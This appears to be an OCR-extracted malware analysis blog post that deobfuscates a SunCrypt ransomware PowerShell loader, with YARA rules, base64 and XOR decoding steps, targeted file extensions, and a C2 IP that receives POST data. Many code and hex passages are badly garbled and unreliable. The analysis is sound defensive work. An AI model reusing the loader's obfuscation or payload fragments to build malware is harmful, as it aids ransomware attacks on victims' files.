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This didn’t start as a blog post. It started as a conversation with Hari Charan @grep_security
about something they were looking at called SunCrypt ransomware.

Looking up the name | ran across a couple of interesting blog post, one by Sapphire here
and one by Acronis here . Seeing that this was obfuscated PowerShell it peaked my interest.

Searching for some samples to work with also revealed that you can do a tag search on
tri.age of “family: suncrypt” (without the space)
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The PowerShell loader we are going to use here is the one from the Acronis blog post with a
hash of MD5: d87fcd8d2bf450b0056a151e9a116f72 . There are multiple copies on
https://app.any.run/submissions/ for that hash. There are 3 copies on Tri.age here.

Hari Charan @grep_security also pointed me to a couple of open source yara rules to
search for the PowerShell loaders.

This one appears as though it will search for the ransomware binary here and this one will
search for the PowerShell script here .

Let’s take a look at some of the encoding.
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If we look at this part it takes 3 values , assembles them , then it base64 decodes to byte.

But it will also do something to the strings before it reassembles them.

BT7415

87416 EFunction XhugwIBDOzIVHNNcLVIQYZ() {

B7417 return (([zegex]::Matches(

' FEcT/Wkx0SbREXWvFZEREWkXEx+gsvYVDInMwz IwEABBMFMHNQLDURNA/ VE IT+NE ICAL IEFt YCyx fRTQDOLIAQLCRRLmy 6APDE
jAweRGHOEFZecZalkye leRGTGEFZsbnkxhZeRGjUSFZcEkkxeNaeRGHn4 FIMZhkxvEaRGI0IFZMde Xkl 1dRGEEIFZIMISPIT
SFedFrDARRERTFdeClBAODC fFRLGOIWI0LIUL /44X QBREQINOL I Ui IMAENL TGPt YL 1 0io30iwk0io3Ui IMA4NEIEFEIGFl Yy
RLmPdACAAAUCALS fRLCARAKEhPAACDS fRLSETJiwAQU0LBXK0iLs0SFlIBFL ICIBAQDY fRLCET JCESDART LY ERLCAAA DG BA
AUNAEVELI 2Nt IAgHMWIoGENLIPINAENTIAFtIAFlIEFtIASX2gAAeZDIDTDY+iVNCYABREM,S /v, VmOSH1IBINASNTISFCd S,
AARWDS JLOr FABJAGHVEYYI+gCi Y6/ VEIARSW/ SGEACOWE Pg EVLME L PAAR,S / £4BCREBZQTLCE L PEWIMX f TLCARFEFUlTUCER I+
.-"'_.!yLER:."EF«HE.-ifTLCEt PEwImx £TLCAAFEFuRARASNeBOpAR INGOOUNAR ONIARAWGE+gAw 3 3gd REAW3 3gwX UL AL TDPA+gMxAGEBDGA]Y
AREgQXE+AAEgIgiX0Li0XVi4 FAVDGOVLSeTLWAWrhFCqReTJyDEDgQTLIeRLiIeRT1IQRLCCTDY+ i VBACCNMwE 8/ / +j e EMQ S gARAGCH
VLGe0BlAMBEvAERHaCMY TDMU1iAEewB ]l BMYRewB gt PwTLCAW s BEWZWARXDCARLWEB EWX 3 / AoGJaRfRIL YRNCARAI ThPAA T SHIAS
iBRwEtPAeTLiL fRLIRJAXYWZBAAMSO6 KX/ OxaRNSeVIGIFDwE VLI fRLCCSDWE TLS fRLCAAB Iwg PgBS Tg £ TLE RLAERJCE+FL 4B
RGXWEFZORsWkHAgCRGHIXFZceGKkXyVeRGHGRFEscD kil JoRGNWWF ZMTAX kx k SbRGHEMvF Z8b SWkxMxbRGDETISCSDWETLS £R]
toDREINIASHZg4x+gevyV', ., "RightToleft') | ForEach (§_.value}) =join ''}

BT418

B741%9 -}

B7420 SugGLGOBOLOpLIAInerOy) — XhugwIBDOzIVHXeLVIQYZ
A7421

We can see the first string is redirected to a function that will read right to left , basically just
reverse the string.
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87420  SugCLOObOtOpLlAinoroy) = XhugwlBDOzIVNXSLVIQYZ
87421

87422 SqdKZNMeMI fBzVotiCTIia -

'HEYGkDGQHUADSg L LwG/ GREFkx kX CAdcZFw2 zGReRLx kX FEM2 FumHGRedux kX I ZME Py zGRep lx KX LOcZFZADGRABN x kX RacZF0nLGRANDx
obggAAFDY/ VQIJReRgAPSVTFRJRELIDE fgAdQe zwomBARRART OX4iUKoi0Xoi034A0g3iU3vakBoADARATI L FE ICAUEEQagD,/ VeSDxBC IJREyDE
EDIXAASOzwOt NI OXEKOXA iUNg/ 3Xg/ IXBEPnE/ F DZWYXKAAQQzwOsviOUGLi038iUgY i 0UUROX4 U041 0X0ADXELUX0L0UIVItFOFCLRRNGL
GReplxkNr ZecZFTGPGRe 10X kNUAT I F4FDaSACARRFD/ VOLiJREyNREBQakCLRRCLOA] /e FCLERDY cCD/ VEy DR BCFWHUEME D MGERMARRAT 1 F+
JIDLINAUFMEBASzmLRQLLAhgCF Loy QWD EAh B ARUEHE Dz ot FCItACI ENCICJICLINILN/ PO L/ It FCPIWIOQ) G+ £/ /WinJwiWLl T IHskARAR
P4GeGRE kAxkgVe ZF4WnGRe Ty ki jdMIPSHNGRaVhx kN sbMIPS1HGRehl k¥ p 2 ZPEnLGRet Sk sAMIFOFEGRE Ppa kN Sea 2P0 3 TGRAR1 »
GRoJyxkXDEcZFRGTGReVIxkNGUMIFx ILGRchvx kX JY B ZFymNGRot zxkXMcB ZFzQDERaRaxkWldE ZFplrGRaduxkWobo I PgWHGRapwxkWE V|
QEEMFRABL/ 10T IUWO) UXQUOg 2 BORAUPSVEIL FrI 1 FvF Do INUAAFD VL TRY yHRA RG] UXWU R SVDED,/ V01 TRACLRRCLOBL JRExQHI 2 FeR/ f /
RAOATI0ANDOXEczEéDfaRAdDILRRDS cB) / VY xS 1WghecBl T2 cEARARAWARACLRRCLOALLQFBAUITFEITACE S WNFSVnIPEEITNEI 1BIGoEaRAWA
BOHWAARGLRRCLOALLTROLGDS JQSDr IGoEafhwARC LRRCLOALI LOFBAUGOR, 1Weg B Q01 00QiVEg L 0UGg 3ggAHUF 6 2gAARCLARCLOA] S cFELE
FEItACA+3IQAYSREXZOWCF/CILTZ] /dAEQadKERItHEItJEI tVmANMARRRaOXAKItNEI T JI I T VRANMAgRREGYBARCDRAZ r scdF 1AERARAZW
Ii0kgAOgBRIOUIiUgIi0UILi0AIgQThRRQAAIAGZGOYDELDVIQYPwXpD " . Substeing (16, 2000)

87423
87424 Function MrvBEnPYxvNPFaulUtQsgl() {
#7425 return {{[regex]: :Matchas (

'==wwJzeRLi4 E4XUiAsI+FtoCr zeRIiIBOLY ERLUAACYWE S/ / SXLEQS/ /M OTCchNCFOF 14/ M IPxFx Y imlOMoHNEFL IDERY / / 3£ HoD1/ f 3P
RJaGHepGSFloZYxmaiXUinhFIqBeRTatWuon3FloZY JjacKlinh IMapdRIacHspG2 Flo 2 Y VnaWiUimhl bgRdRJaGHypm0Fle 2y Vma QXU im]
f0aRdAXI+F5 TDOQHWFYER++gFIREAIC/EATTDZ S/ F+DHEAX I WTTDZSS F+2HEBX 3/ MUULABEDF L I+FhYAECI DNt IAAYGRAPDCF L IQANQRL

If we Look at the second string it is getting a substring of what is there starting at index 16
and taking 2000 characters.

EIN{IAN]
5 AT L YN,
EAIMARI A tNT r UYLIC T CTEARA+AAD I RAQARARDE
fhwaph . Sebatringile,

Sy TEOLL T vB o  ddy
ERARARREAAA

The encoded string is actually 2032 characters long before we get the substring.
The final string is is just another reverse string.

Then we just have a long base 64 string after reassembling the pieces.
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1 VEvsg+xdgZXsAINLEADOtg4ARILFZItF2IlF/IcF/IlF1ItF1ItH/ANIPIINOGOINGVARLtNOICV/ANUAXiJVESLRESLT fwDEBYJTAYyLRESLT £
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ItV/GYJCg+3y Yt V+IKECumiRAAAAUPEPAACLT fxmIWE Pt BCLT £iLBAEDRQY S/ WBAAItV/GYjCg+3yYtV+IKECUt luPB PARCLT fxmIWE Pt BCLT(z]
FAL00MgeH/ /WAADT £J11X4 DT cEAGPBUfBRAACLY fxmIwoPEAMLV fhmi QORI 0XBQECTREZDLET/ A AL FOItNIANIBIINGCV / v/ /MBBRYCNVL+YD]
Bg3gMAA+EGWEARING TARPhREBAACLR fYLTRADSAYJTAT /ddT /VOyJRE i DE fFqRdQzHReWBRAAAGECARRCLR £ Y LTRADSBCIT £CLR £ YDOABICIEFE!
TexgCFhrWACLTey LY £gDVAFA i Vi 0Xki034A0gei 0X0iwAl / /AR TtVSCLCEIOEGY IFETEFEIEN+AMI i U301 00iwi 03010 FLY tFOTENERMI iU
/A Fi0X8gEAUiUXEEd  +/ / +DfewAdOfHReABAARAMEAPhan+/ / +LRaDIWIWLT IPa JMZFIE fFERA1 1 xkXedMZF 2 03CRaBvxkXhZME FAnX GRaMNax kY]
1F/INS/AB1BDPAGOQLREy JRECLRECLT fWDSDYJT fiLAfiBOFBFAABOBDPASYRLRRCLOAL LODQTREXYGYt FEI tACTEN+TE Y ANRUDL QNHMFMEBAY
GRoduxkXIZIMIFyWzGRoplxkXLOcZFzADGRAEWXKXRacZFONLGRANOxkXUdcZFIWHGRAZ sx kXX QcZF2G2GRAL sxkXab8ZF2 2 PGRAwA ] UWEUCh+C]
i034A0g8iU3wakBoADRRATt PRI tAUEBQagD/ Ve SDxBCTREYDE fwhd (e swOmDRRAAAL 0UQL0381i0gci0Xw/ 380/ 3X4/ 3NBEPIFRACD Az /dEz /A
Ug¥Yi0UUKOX4 iUX04i0X0R0XE1UN0L0UIVItFDECLRRhQL 0OX0/ SAZWEDIWIWLTIPs IMZF4 FoGRaFpxkXicsZF4 ITGRaR1xkX 1Y c ZFSmeGRadx kX
CLEBRD/ eCD/VEyDRBCFwHUEMS DEMGShMARART 1 F4+ It P+ ItNETtJII 1 ICIt FET e AC Tt NEI £ JIANIRIINS T e FOP/ Qe DEAOMADY Y va Y e FCI e RC T EMY
1/ItFCPSwIOiG+E/ /WVRIWINWLY IHekARARTN] 1 ACDZaARg I0QAHUT i ONUERODAADCR FEu e kX xdMZFEMTCR fax kX OBMZF 52 TCRE 2 i kX IMEF +
AMZFOFECRAFpxkXScaZF0ITCRAR L ekXVY c2Fimz CRABx kX YEMZF2Wz CRApvkXbY B ZF IADCRbxHx kWS Zc ZFvnTGRES D kX Ade ZFWELERe Jyx k]
adunkWobcZFgQWHGRapwxkWr Ve ZFrGnGRallxkWud2 2P0/ GREEmx kWx U8 ZFsmXGREN ) x kW0 dMZFtWnGRb 2 v kW3bs ZFuACHReBREEMFARBRD/ 1U]
CLOBiTREXQHIZFCP///1D/dEz/VICFwHRZgXZARAABAHUCEwELREWDhX 2/ /f+JRE2z 1Tt FEItACIENEItANDL BGHIMI0UQI0AT i OADCOKEcZ 6D,
MEIlBIGoEaRAAWRACLRRCLOALLOFBAUItFEItACP IWwN POV AIPEEItNEILBIItFEINGIARLIRIt FEItACGoIWNv IRYNECHWAMRGLRRCLOALLTRCLOY
GR3/cFSLRRD/ eBCLERD/ cCDalARARI PEDItFEI tAC I tNE T e JCA+ 3SR ENAAG Y A UWY g 2 X A A0S HI 0XENIIF/ It FEI tACR+ 3QRY SR X 2 OWE P/ CLLT 2
ARZWR+FVPT/ /4t F1lMaDVYvaUY e FCIEHCItJEI 1 IBI t FCI EABA+IADI NWgARARGzwOs /10U 0ARL 00T 0koAOg2i00IiUgIi0UI 1 0ATIgThOROAS
QEwOtJilug/ IAg/ IUM/ IUIEIAI/ /+DeAyFWHUEMADELES1ECI I+/ / /WY RADDQzwOs e/ JUG/ JUM/ UL EAE T/ / +DxAYFWHUEME DAz DAQF IDVY v |
J+£/ /gBQUexPrEEFIEPSIDPIICORE/ // / giQMNCHNVi+xRg2X8A0sHi0XAQILF/ItF/ Dt FEHONL OUIAOXBik0MiA] r SMADVY vEUTHL /ADCBALE /]
FAEAAADIBINL/ACLREzIWIWLTFH/dQjozk/// ImFwHGMDTSFCIPAIILE/OsHDTSFCILF/ IpF/ MnDVYvaUYNL / ACLREYLTOg Pt wRBhcBOCY L F/EY
cB1BYtPCOth/3UMET T/ // 92 iUXwMEBABARALO0IiggBiEXD/ 3X06F,/// 92LiEX/i0VIQECTROYPVER/ heBlBDPAGYYPVRR/ DTSN/ J vBdeX,dED,
UMQILFDPOL/Of o/ v/ /WO 8R9L+0jh/ v/ /WO +wCvw LXK OdRAR VKX BhcBOCA++ REL FwHWz L 00X snDVYvSg+wMV ot FEEL JRRRZWE B wACLTRI K]
ZDTTRR/CTAER1 Fg++REyFWHOODT SF4IXAdRADfRAAASaLR fReycHV i +yB T DWCARCDTe 2/ ZEEWARAAL UXML OXML 0AMgBRAULUX 01 0X0 iwC TR Fhqga ]
WGaJReBgZFhmiUXianx¥ZolFSGpsWGalReY zwiaJRei LRfgTRERICItF+IPoCIIF/ ItF/ A+ 30CSFWHRS I 0XEDTAATTI IFEPS 18 It F/ POWKIZFXP!
ezrCotF+IsAiUKd 64iLRez Jww==

Remember we still have to convert this to byte and it will get loaded into memory using
VirtualAlloc.
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Looking at the bytes in a hex editor we can not see anything that makes any sense.

The next step is to drop this into CyberChef here and view the assembly.
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This is also where | hinted on Twitter of a “Somewhat useful tool” which will be on my Github.

If we look down further we see more API calls.

=» mtdll.dll, Virtoslgossy, VirtuslAlloc, SetCurrsstProcess, Iwlnmap¥iswdfSsction

EAX DNORD FIR |EDF-
Trl K

12 EIE0INED
CEASFOET
CEASTL T
CEASFIEA
CEASFIET
CcEaSrddc
CEASFSIE
CEAIFEEA
CclaSridc
CEAS £
CEASFIOD
LEEY LT
CEASELES
SE458372
CALAEITE
CEA5EATE
CEASETEL
LR EE TR
CEA5ET 5L
CEASEITE
CEAID TS
CE45EAT
CEASERTH
CEAIECID
CEA5 0054

—

- Wall bytas

<-Ball byta

AL ELA LR LR 1R 1R

And even further down we see a different type of string building using a “push pop”. | have
not made a tool for that yet.
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ADD EARX,
MOV EAX ,DWORD FTE [EBP 1

MOV DWORD PTR [EBP-08],BEAX

13 PUSH -»> kernel3.dll
1309 POP EARX
1310 MOV WORD FTR [EBP-30] ,AX
1311 PUSH

313 POP EAX
1313 MOV WORD FTR [EBP-ZE],AX
1314 PUSH

] POP EAX

1317 PUSH
13148 POP EARX

319 MOV WORD PTR [EBP-ZA] ,AX
13z PUSH
1321 POP EAX

122 MOV WORD FTR [EBP-28],AX

1324 POP EAX
1325 i MOV WORD PTR [EBP-26],AX
B PFUSH
1327 POP EAX
1328 H MOV WORD FTR [EBRP= 1,AX
e ) pUSH
1330 POP EARX
33 MOV WORD PTR [EBP-22] ,AX
PUSH

Although doing this statically we can not tell for sure how this is used it can give some clues
as to what it will be doing by the API calls.

What started all of this was when | was trying to write a yara rule to find more samples to test
this tool with and look for any outliers that would break it or not be what | was looking for.

1 rule CyberChef Asm MOV_BYTE_PTR_BuildStr {
: meta:

description = "Search te find Shellcode that produces strings using Move Byte poiter”™
4 author = "David Ledbetter @Ledtechi”

strings:
SemdsStr = {CE457777C6457777C6457777C645)

£ condition:
SemdStr

I’'m still learning yara and this version just looked for the format of the “MOV BYTE PTR”.

| ended up with over 552 hits for this and many false positives. | knew | need to find
something to rule out some of the values that did not return strings or would return either
encoded or garbage looking strings.

After several hours of trial and error | ended up with this.
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[ LA LA T T e e L) | [ TSRO TR N TRTLTY WA O L | [ NS R PO AT L) ] "ML IS OTR RO W AT RO L O R ||

rule byte Array MOV BYTE_PTR BuildsStr {

meta:
descriprion = "Search to find Shellecode that produces strings using Move Byte Pointer”
author = "David Ledbetter RLedtech3”
strings:
SemdStr = (CE45FTIICE45 TR PTCEAS PRI ICE4ASTTIICELS)
SemdCCCs = {COCE45)
ScmdX¥FD = (CE45FTFD)
S$emdxxDL = (8855770645}

condition:
S5cmdStr and not $cmdCOCC and not ScmdXXFD and not ScmdxxDL

That reduced it down to 214 hits. It ended up being shellcode and binary samples that used
that format. I’'m sure there are a few more samples in that mix that would be false positives
but it was good enough for what | wanted.

After going thru that exercise | was wanting to try and find a way to let the obfuscated
PowerShell self decode. So | started by looking for a way to just let it reassemble the base64
string and then write that to a file.

SFilafathitic =

Furotlon KhogeIhite ITVRCLYIGYEL] |
vatmrn ({ [repex] i rKatches|

1 i ForEach 8_.walwsh) -foin *'§

}
SugllitktipLiAjnoriy] = Thugw RGO IVIECLVIGEE

Sptetiaelt FRE VO LIET e —

topabatebnglic, b

Function HrvBEnPYxvNEFFaulTegaqgdl |

ratarn [ [regex] = rHatchan|
bl FerEa: (B valuslb -deka ‘)
¥
SCaBTTE ] INEAFENEVRIDE = MrvREnFroriPFaullogdy
SIS TN TP LRI = |~ 1L B Lo o L i ro ), SRRt PR T 1ST b SCasv i | INBr TRy han 13§ | oun-File BFilesathsns

The template part is the path variable and the pipe out to file. But you have to remember to
remove the “[Byte[]]” part and the “[System.Convert]::FromBase64String” from each one you
wanted to rebuild and just dump to a text file for further processing of the base64 string.

So | then went back and searched for how to just output to a binary file since that is what we
ultimately wanted anyway..
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JHEDET SoEaRARAACLARC
231 AREQaIRAET
GAIThORGARAAQZGEYDEL

EFunction unnznrnmnuw-:aaqu 1
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A '-:L-.:::oll.-:l.l; FEREaRARXTWESS S AXEEDS S 7 FTehs
":E:.:BuR.at-lua'.'lSE.-'.:'cqacﬂ'J;nthpi“Ja"ﬂ:r_t-..
£

TOEROESRHWTECLT +A/ FL I
LAEELEL ]H.'«'.II.}"‘(» HEUAAAMAERT S
BEwZARRILEEF: Abw+gEvTVImERdd

od b SRS T DA Nk Yy EAT DB ey Kk B
M FeYSre fRICESF I:'i:-\_-\.Bc"uSR'\-l Pq,....yIP:.CA LNy vy
FBRRTw ALy ERJCE S Ft4Br TR, LRYT Tl I ALMORLY
P4/ 7§ Srej0d) 204/ DR/ POEAPDDI DEh IS/ f 03/ avEVDITOA EMEURWT YR
EQOARKIDEM /S e PTo ) 0d/ 204/ DR 2+l Ve ABEMY QUL D01 8304 DDA BXUAARMANERZYSOu" , . * ; "RightTolefr") | ForEao)

SCANVIC) INEAFIKHYRIDD = HEVBERPYRWHPFAL1TEQSy

[Byts [ ] | S POPGEHMMERYyydUPtnIps = ([System. Convert]: :Froabessfasering ((=join (SuquLeobotopL LA jnorDy ], Sqdimaas] fRz Vot LOTT ja , SCaweFCX § IWERFEXHYRIDIF] b
[8ystem. 10, File] @ 'WriteAllBytes (fPilapathser, 5POPCERMNIBTYOUFERIPG) ©

The variable for the path can be the same but instead of pipe to write file / text we add the

line with the System 10 and make sure we have the variable name the same as in the
extracted PowerShell.

Moving on to the large base64 string.

BT5TO
B7571
B75T2
B7573
BT574

ARAARAPAAREARACARAAABCWEDCEMND Oy JONEM 3wz BDMENGA O s DT sNCULbzWDNew LM jaBNoo2 QL‘hA{WQGMJ tnOwAgAADIAAARAZ JEXNRKI] jezN/ 43HThAOT 5
46ZTpronI GeDgROoc Bk TQXOrE Gy DradvdEa ] sX0zMT Szt hO03 s Tmrux 9% 7/ e ZPCgaW i xpPIQE L 2y PLgA0) zaPR4 G2 IBFVESAJ 1 9PYRO2 2 3xPOY+ 1D
AGMBOWNZBEMFPewa TCRMARARAFARARWARARS P34 /mD+ 1P Tw/ 22 /BR+ U/ STEARARG AADEAAAR BT ANMCOW VT BeMHEwe DC j MEawy  DEMMow2 DC IMek 4 THT MR
EOFzQeNEADSDRONFHOWDThNOcO T DQzNUwlcVebtCul FIFPRP® . Substring {13, i}

i
SxCahiReTkrvpiFWCLIeQH = jkbphijlJHaTaqgARywHT

[BFES [ ] $PLevnxXnTINUCxSgoBIGK = [System.Convert]::FromBasefdString ( (-join ($hTBIaXUWITXKVNuILUXTS , $CPEzF1 RgNheNni sTw]
SVwyD=V1LEsnYRIPLIbZC, §8kCoPovt lgogFNEMT2YpE , SwioaxicLEBINYZPsXWaR , SBOFQAECMERZPERTY lvRey , SHARIOZDgg ) rqMINEz 008, § 1
SzooDCnOaVstlNgnbiTet
'AKTTRYNXxjaTIzYBnFagBoQdsBAR+1FR// /4 1FoP+1ER// /4 1Vpoi GE0RAAgBROGdsBAR+1HE/ / /4 LEQP+16E/ / /4 1¥rOho SQARL UWW] ¥Va/ / f /UT1VeY]
Rlw///Fi4ONRET S F xGEDKT/ / / +DWRCOHVBYWIC1DI2FaP/ / / 1oNhaD+/ / S0Vai JARARYuh BgARVUhNBOARG QUK 6L5VIDZMzHZ FWL T IHemAARRP S 1E ]
Wi///BPEQAFEIVA//// DxFAEARQRY gPEUAGDXBFmASRODAPEEWODXFAQIVIXC PMZMZMz Vi +YLTRhTi 10MV e L ERCLA/ cviQGTURELOW] ILAvI i/ KLA
IEFCEPYiUgOiXATiwPIbxiLy vy i 0N 92 B0RE i LOXATEvAvEAPT 1 DHYE /LI LwPT L0UTE /KISB1 JeByLix ] Sbwi Ly Tvy L OMI 92 8 ¥ARL LOXAT AvdvEA+ kg
yADYItDGBPYS2 8QAR L LOYATvAvCARTL 0MoE/ LILWPI 1 0MOE/ LI3bxgDy I tFCEPYiUgoiXAs i OMY 92 EYi 8 iLicr DRPdwCAPT i 0MIE/LIbygDy ItDIBEY S|
DELGx ] AbyCLyIvyiOMEo2 oAl iLOygTEvdvEAPT i IMWE/ LIbwgDy It DIBPYS2 E¥ASQTEosDI2 04 AR i LOwg T EvdvsAPT i OMAE/ LILWPI i 0UIE/KISDi Tl
6TOAQPIABLLOYATEvAvIAPT iwMTBvdvOAPT i0MWE /LIbXADY I tDOBPY Iy 8Dy It FCEPY i UhAIXBE L 0Mg9280i BiLBot DAPAVCART iwMTBvdvSAPT i0NTE |
BPY9284AB1iLOYgTEVAVIAPIL 0UIE/ KISEL TeEYLGx] bz i Ly Ivyi 04 928YAS L LG0T8 vaAVCAPT i OMoE / L3bygDy It DCBPY 92 STABL LOYAT SvdviA+kz
% 3DOCLYIvyiON4 328gA8 i LOUAT BvdvGAPT i ONQE/ LIb0gDYI tDEEPY 92 9WAS i LOVAT 8 vdvOAPT i OMWE/ L3bygDyI t DEBPYS2 BQABLLRRGT 0L INI 1wX
MABABkDYItDIBPYS29AAR i LOzATEvdvMARPTi0UIE/KISGCICGSLOyD3b0iLyIvyi (MwI2 B4 AR LO0gTEvdwIAPT i0MAE/LIbzADY It DOBFYI2BoAR i Loy
OMWE/L3b0RPPMABAR KDY I tDOBEPY 92 BwAE L LROgTEo1 1T Iwd I tDORPAvQIvIL/RLOUD3bzgDy I tDMBPY 92 9TAS i LOOg T vdvHART 1 OUIE/ RISHL JeHyLO
ACLO0] I0CLyTvyi ONAS2 STAE LI LROgTHomT iAARET T sqdsUYBgXaQTTR . Substring (19, 2000}, SDgmytOaasFbagxgxhRrp],
':Emﬂﬂ{mﬂ!zrﬂzﬂﬂIMVlU.thFlI-dEL'EKi3"}]:99ELC‘IH.HEgjsz‘:EhnYkHi.VI:EiHHzHYtLEJmJlIITEItH.CDPIIE‘ZHMHiJ\FH:.’LQNg’szLLEJ&nC
HGI1XHItDEOPBL0sgmYlDGI1THI cHIDETI04 2w Em Ry CIVy SLOyAZWY L LE TGy CIUYSLEYgzyCPOMEGEiUcoi Ve s i DMoMAGLEZC 21 o i Vis i DewiBg
LaimJqziJUzyLROAZYCPONEGEiVEAIVAE L ONANEGLS 01 ZiUNALVNELOAINE g ] 2 PBRY LHS T 1XTI tDSDPEXS 1o i UNL i VMWL 3DZMzMENZHIMIMVY vag+W
Ngz IsHUEABg+C2 QAAAPDDAGHEOARAAGIAMAERa ] / FW jAGABY/ xVgWEARL / CFIg+EsghAlA+ 3x 1l BoDMEARGAGAAAV v IVGMFAAT FEEFD/ FVDAQACD+AR
BAAD/ 0FD/ FWDAGAC IR E L FwHANL 038A61 RagBOGEMaRAC DRAYNRE XD/ 34§ UY TUO] g VRAAVmOR XV oW EARTPEVEMBAAT £ 14 Fho JwARRT PEBF2APEY.
OWEARUPEVYMBAAT v4hf BPhGACAAD/ dOhX /¥ WAWEARS PTLOABX M xWANERRS YUM/ £/ fUF £/ FUJAQACIRAYD+PE BhC4 CAADGRSJiMENGReNY XX kX ZF5V

Using Notepad++ we notice the highlighted area is all 1 section. You may also notice the
extra parameter name right after the join.
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}
S$CaWvFCX)1WtBFZKHYhJDI = MrvBEnPYxvNPFaulUtQSg

[Bytea[] ] SPDRpGLtHNMERYyydUPtnIpo = [System.Convert]::FromBaseddstring((-join(SugGLGobotop]

ShTBIaXUwZTXKVNuJLUxIs = (([regex]::Matches(

') | ForBach {§_.wvalue}) -join "'}

Function yGY¥vyxvsCPnrRlmoFBbwU() {
return

Searching for that value we find it all the way up right after the code for the shellcode
reassembling.

So when we go to use the self decode trick we need from here all of the way to the end of
the highlighted area to be sure we have all of the needed parameters to rebuild the base64
string before it gets decoded to hex/binary data.

Once we drop this into our wrapper and verify we have the proper output name set we can
then just input it into the PowerShell ISE and run it and it will output our binary file for the
next step.
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&) ExtractedbytesFromLargeB64.bin ‘

Offsec(h) OO0 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF

00000000 [afupuui-gurCaguly 4D SA 28 00 03 00 00 00 04 00 00 0O 2' .........
00000010 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 ¥¥..,.cvvuvus e...
00000020 00 00 00 00 OO0 00 00 OO0 00 OO0 00 00 OO0 00 00 00 ...cuvsvnvrnnnns
00000030 OO0 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 ..vicvcsnssaanas

00000040 D8 00 00 00 OE AF BA OE 00 B4 09 CD 21 B8 01 4C @.....°..°.1',.L
00000050 CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 I!This program c
00000060 &1 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 annot be run in

00000070 44 4F 53 20 €D 6F 64 65 2E 0D OD OA 24 00 00 00 DOS mode....%5...

00000080 OO0 OO0 00 00 0O OO0 OO0 00 OO0 OO0 00 00 OO0 00 00 00 ..cscssssssassasn
00000090 OO0 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..vvcrevncnnmmnsn
000000A0 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..vvessssssncnus
000000BO0 OO0 00 00 00 Q0O OO0 00 00 00 00 00 00 00 00 00 00 ...iceenacnancnan
000000C0O 00 00 00 00 OO0 00 00 00 00 OO0 00 00 OO0 00 00 00 .....-cvvvvrmmnnn
000000D0 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 ..vsesssssesPE..
000000E0 4C 01 04 00 E3 CD &4 S5F 00 00 00 00 00 00 00 00 L...Eid_ ........
000000F0 EO 00 02 01 OB 01 OE OF 00 A0 01 00 00 ORA 01 00 A.vvwersr snsnan
00000100 OO OO0 00 OO0 B8 12 00 00 00 10 00 00 00 BO 01 00 ..eecevncesaaun
00000110 0O 00 40 00 00 10 00 OO0 00 02 00 00 06 00 00 00 ..B.....ccvacnnn
00000120 00 00 00 00 O 00 00 00 00 00 00 00 00 DO 02 00 .esvesssssssaBas
00000130 OO0 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 ....icccuas B.....
00000140 00 10 00 00 OO 00 10 OO0 00 10 00 00 OO0 00 00 00 .....v-vvvvrunmnnn
00000150 10 00 00 00 00 OO0 00 00 00 00 00 00 34 37 02 00 ..veuwavsanns 47..
00000160 C8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EB....ceiiieaacn.
00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 BO 02 00 ..vvwvrnnrnnsun

00000180 O4 18 00 00 10 30 02 00 38 00 00 00 00 00 00 00 ..vsalouBivuanaus
00000190 OO0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..vvevsvsnsnmnun

nnnnnnnn oY -y o B e e o oy -y ot -y o o o PN o= Fat

Now the first four bytes of this output appears to be a length of the remaining bytes in the
output. These will need to be removed for the next step.
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... Portable Executable - PE32
" 32it Intel - Windows Gur
" Header | Sections | Directories | Imports | Strings | Load Config | Debug | Hex View |
Property Value
Signature 0x00004550 (Portable Executable)
Machine 32-bit Intel
Number of sections -
Timestamp 9/18/2020 3:10:27 PM
Pointer to symbol table 0x00000000
Number of symbols 0
Size of optional header 224
Characteristics 0x0102
Size 165.00 KB
Created 3/28/2021 4:46:51PM
Modified 3/28/2021 4:46:51PM
Accessed 3/28/2021 4:46:51 PM

Here we see it is a 32 bit binary with a Timestamp of 9/18/2020 although the file was
assembled today in the created date.

If we look at the Unicode strings we can see that file extension strings are not obfuscated or
hashed like the other blog post showed.
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-Tzip
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.appcache
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-ascii
.AECR
.ashx

- B Smx

. ASPX
.asset
.Atom
-backup
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.browser
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bzipd
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.chat
Class
.codasite
.compressed
.conf
.config
. cphd
.cpio

. CEYDT
.esheml
.d3idbap
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.desc
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.download
-dwix
.edge
.email
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fegi
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.forge
.freaway

Al

One of the next things | was looking for is how to extract the ransom Note.

The other Blog post gives us clues what we are looking for so lets look at the file in a hex

editor.
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There is a very distinctive string that begins with “11” as it turn out “0x11” is the xor key.

One of the other samples used 0x13 for the xor key.

If we scroll down to the end we can see clearly where this section will end.
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If we keep scrolling down while we still have multiple “11” values we get to this.

Tl e
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00DZE7T40 11 11 11 11 11 11 11 11
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If we xor that by 0x11 we get this.
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00000030 34 37 34 30 63 36 39 65 34 61 32 61 36 61 39 33 4740c69e4aZa6al3
00000040 62 38 31 €3 ©d 66 35 36 66 32 36 32 31 €1l 32 3% Dbilchiserlledlald
00000050 00 11 11 11 11 11 131 11 11 11 11 11 31 11 11 11 ... ieensmmnsamas
00000060 €8 74 74 70 3A 2F 2F 39 31 2E 32 31 38 2E 31 31 htop://91.218.11
00000070 34 2E 33 30 00 OO0 0O OO0 OO OO 00 OO OO OO0 00 00 4.30
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0Q00000DO OO0 00 00 OO0 OO0 OO0 OO0 OO0 00 00 00 00 00 00 00 00 .....c.c..ucecncann

Next | upped this to Anyrun here because | could not figure out at the time where the ip was
coming from.

MOVE YOUR MOUSE TO VIEW SCREENSHOTS

s

One of the last pieces of this puzzle is that it does a post request with some encoded data.

Bl Bl i W e =] N e Kiin Grer 0 it g Rt Bt 25 R Wil (e gl Ol By vt ki, A Gkt Tyt by WA Rl B bt Tomors

hwra ¥ Ty Towern S Pt [epaptas Ol Post Jeraprn wfien Hoet Ll
&1 2021-03=37 18:22:46 192, 168.100.97 40344 O1.218.114. 30 B L] 91,718,104 30 POST S uTTPSL. 1

PFREEAEAL 4 F AR
- POST # WTTPSL.
